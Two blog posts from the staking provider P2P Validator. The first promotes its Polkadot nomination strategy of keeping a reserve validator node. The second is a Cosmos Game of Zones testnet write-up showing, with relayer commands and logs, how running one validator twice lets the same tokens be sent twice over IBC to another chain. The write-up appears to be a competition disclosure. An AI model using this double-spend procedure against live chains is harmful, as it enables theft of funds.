<p>Polkadot staking has successfully launched. Validator elections has been held and issuance of first rewards has been started. If you have not nominated yet it is a good time to <a href="https://p2p.org/economy/polkadot-nomination-guide?utm_source=strategy&utm_campaign=strategy">do it now</a>.</p><p>P2P Validator has more than three years of experience as a non-custodial staking provider. We make staking clear and attractive to simplify the process, incentivizing token holders to secure the network. <strong><strong>The main goal of our staking strategy is maximizing rewards for token holders.</strong></strong></p><p>To reach that goal in Polkadot, we have been validating Kusama since the first day to polish our approach. Currently, we operate over 25 Kusama nodes with 300,000 KSM nominations and provide <strong><strong>~15% benefit for our nominators compared to average.</strong></strong></p><p>Below I will briefly describe a <strong><strong>temporary approach we are taking while DOT transfers are not enabled</strong></strong>.</p><p><a href="https://p2p.org/polkadot?utm_source=blog&utm_medium=economy&utm_campaign=strategy">Nominate P2P</a> to take part in this exciting journey.</p><h1 id="staking-in-polkadot"><strong>Staking in Polkadot</strong></h1><p>In Polkadot nominators don't choose the amount delegated to a particular validator. <strong><strong>Instead, they select preferred validators and their bonded stake automatically spreads amongst them</strong></strong> to achieve an optimal distribution. Each token holder can pick up to 16 targets and the system will decide which ones will receive a delegation and the amount.</p><p>Nominations represent stake-weighted voting for validators who compete for the active set. In the long term validators in the active set receive equal rewards meaning that the least staked node can potentially be more efficient.</p><p>For example, assuming 0% commission, a nominator with <code>10 000 DOT</code> will receive 50% if the total stake of a validator is <code>20 000 DOT</code> and only 25% if <code>40 000 DOT</code>. But, if a staking provider does not have enough votes it can remain outside of the active set.</p><p>To provide sustainable services <strong><strong>validators need to find an optimal relation between the number of nodes and their total nominated stake</strong></strong>. We run multiple nodes to provide an even distribution of stake for our nominators.</p><h1 id="dynamic-adjustment-strategy"><strong>Dynamic adjustment strategy</strong></h1><p>The lower threshold of nominated stake decreases as the number of available seats in the active set increases and we will adjust to it <strong><strong>retaining the number of our active nodes to be always one unit higher than the number that can win in elections</strong></strong>.</p><p>The reserved validator will enter the active set if it is expanded or more token holders vote for these nodes. Once this happens tokens will be distributed amongst the higher quantity resulting in a lower stake on each node. In this case nominators get a higher share in it. To explain the idea let's look at an example, which is simplified for better understanding.</p><h3 id="example"><strong>Example</strong></h3><p>Let's assume that <code>12 000 DOT</code> is required to win in elections and <code>30 000 DOT</code> is staked with three validators two of which are in the active set while the third one is in reserve. In this case, tokens will be evenly distributed among the two active ones resulting in <code>~15 000 DOT</code> staked with each of them.</p><p>If nominators vote for these three nodes with an additional <code>6 000 DOT</code> or the number of validators in the active set increases, the reserved validator will most likely win in the next elections. Stake of nominators will be redistributed resulting in <code>~10 000 DOT</code> per node and nominators will obtain a higher share. We will set a new reserve node that nominators can include in their nomination list in case of future changes.</p><hr><p>This temporary strategy will help us to remain flexible in the changing conditions of the network optimizing staking return for nominators who included all validators.</p><p>Currently, <strong><strong>we have ten nodes</strong></strong>, which you can<a href="https://p2p.org/polkadot?utm_source=blog&utm_medium=economy&utm_campaign=strategy"> add to your nomination list</a>.</p><h1 id="about-p2p-validator"><strong>About P2P Validator</strong></h1><p><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=strategy">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $3 billion by over 10,000 delegators/nominators across 25+ high-class networks. We have been present in all Polkadot testnets and have been actively participating on Kusama network since the beginning. P2P Validator invested its own funds in Polkadot in 2017 and intends to support the network in the long term.</p><hr><p><em><em>Do not hesitate to ask questions in our <a href="https://t.me/P2Pstaking?ref=p2p.org">Telegram chat</a> or contact Alex via [email protected]. We are always ready to help and open for communication.</em></em></p><hr><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=strategy"> https://p2p.org</a></p><p><strong><strong>Stake DOT with us:</strong></strong> <a href="https://p2p.org/polkadot?utm_source=blog&utm_medium=economy&utm_campaign=strategy">https://p2p.org/polkadot</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a></p>

<h1 id="cosmos-game-of-zones-phase-3-double-spend-via-a-double-sign"><strong>Cosmos' Game of Zones Phase 3: Double Spend via a Double Sign</strong></h1><p>We'll show how malicious validators (or validator keys thieves) can double-spend via IBC transfers using vanilla Tendermint, cosmos-sdk and relayer software.</p><p>For an experiment we have two chains: <code>p2p-org-3</code> and <code>responsible-3</code>. On p2p-org-3 there are 1000, no more and no less, of very valuable tokens with <code>scarce</code> denom. Using our trick we can make <code>responsible-3</code> accept a total sum of <code>2000scarce</code> via a channel.</p><h2 id="double-spend-via-a-double-sign-step-by-step"><strong>Double spend via a double sign step by step</strong></h2><p>To double spend we:</p><ol><li>Open a channel from p2p-org-3 to responsible-3</li><li>Stop a single validator of p2p-org-3, replicated it in two copies (let's call them <code>p2p-org-3.1</code> and <code>p2p-org-3.2</code>, though they still have an original chain-id of <code>p2p-org-3</code>) and start again in two different exemplars.</li></ol><pre><code>p2p-org-3.2$ rly q bal p2p-org-3 100000000000ptp,1000scarce p2p-org-3.2$ rly q bal responsible-3 100000000000root,996000rsp,10transfer/hvigvvmjhcqwerty/ptp </code></pre><p>3.   Send 1000 scarce from <code>p2p-org-3.1</code>to <code>responsible-3</code>.</p><pre><code>p2p-org-3.1$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3) I[2020-06-04|23:36:45.775] ✔ [p2p-org-3]@{68672} - msg(0:transfer) hash(13628DFA68099121C323DB7C2369489E1AFB71C2737B3D92B1BACAF5A9CFBB01) I[2020-06-04|23:36:56.725] ✔ [responsible-3]@{68908} - msg(0:update_client,1:ics04/opaque) hash(50F3730A339AE60A1FDB4FADF484EA8FDC870E9E46C8362BEE328D7D324FDDE8) p2p-org-3.1$ rly q bal p2p-org-3 99999999500ptp p2p-org-3.1$ rly q bal responsible-3 100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce </code></pre><p>4.  Switch to <code>p2p-org-3.2</code>'s terminal - there we still have <code>1000scarce</code></p><pre><code>p2p-org-3.2$ rly q bal p2p-org-3 100000000000ptp,1000scarce p2p-org-3.2$ rly q bal responsible-3 100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce </code></pre><p>5.  Send a bogus transfer (<code>100ptp</code>) from <code>p2p-org-3.2</code> to <code>responsible-3</code> - it fails     on <code>responsible-3</code> but we bump <code>p2p-org-3.2</code>'s packet count by one to be able to send further transfers succesfully.</p><pre><code>p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 100ptp true $(rly ch addr responsible-3) I[2020-06-04|23:39:07.369] ✔ [p2p-org-3]@{68700} - msg(0:transfer) hash(EB8CAE3CDE96FF9073B54B5E6F70C43B83DA13A30E06D833AA107CEB94EE6279) I[2020-06-04|23:39:14.274] ✘ [responsible-3]@{0} - msg(0:update_client,1:ics04/opaque) err(client:15:couldn't verify counterparty packet commitment: key mismatch on operation #0: expected commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/3 but got commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/2: packet commitment verification failed) </code></pre><p>6. Succesfully send 1000 scarce from <code>p2p-org-3.2</code>to <code>responsible-3</code>.</p><pre><code>p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3) I[2020-06-04|23:40:02.589] ✔ [p2p-org-3]@{68711} - msg(0:transfer) hash(83DFA4FB75D22220ECD94F134D8A8AE5BC0D0075D2DA6021B8DA6C4688E28787) I[2020-06-04|23:40:12.237] ✔ [responsible-3]@{68947} - msg(0:update_client,1:ics04/opaque) hash(DD11048F41B6D0955EAC84D311DEF5DAD9A3F446398A59293C82A62D84F6B506) p2p-org-3.2$ rly q bal p2p-org-3 99999998900ptp gaia@ibc3-p2p-validator-2:/home/deploy$ rly q bal responsible-3 100000000000root,995000rsp,10transfer/hvigvvmjhcqwerty/ptp,2000transfer/hvigvvmjhcqwerty/scarce </code></pre><p>We think that if there's ever a real attack with stolen keys or malicious validators involved, it'll be carried out with a combination of running a fork + using modified software that can issue arbitrary IBC packets (like our own RootChain).</p><hr><p><em><em>The best way to support our contribution is to <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">stake ATOM with P2P Validador</a>.</em></em></p><hr><p><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $3 billion by over 10,000 delegators/nominators across 25+ high-class networks. We've been validating in Cosmos Hub since the first day of mainnet. P2P Validator provides comprehensive due-diligence and invested its own funds in ATOM in 2017 intending to support Cosmos network in the long term.</p><p><strong><strong>Web:</strong></strong><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post"> https://p2p.org</a></p><p><strong><strong>Stake ATOM with us:</strong></strong> <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">p2p.org/cosmos</a></p><p><strong><strong>Twitter:</strong></strong><a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a></p><p><strong><strong>Telegram:</strong></strong> <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a></p>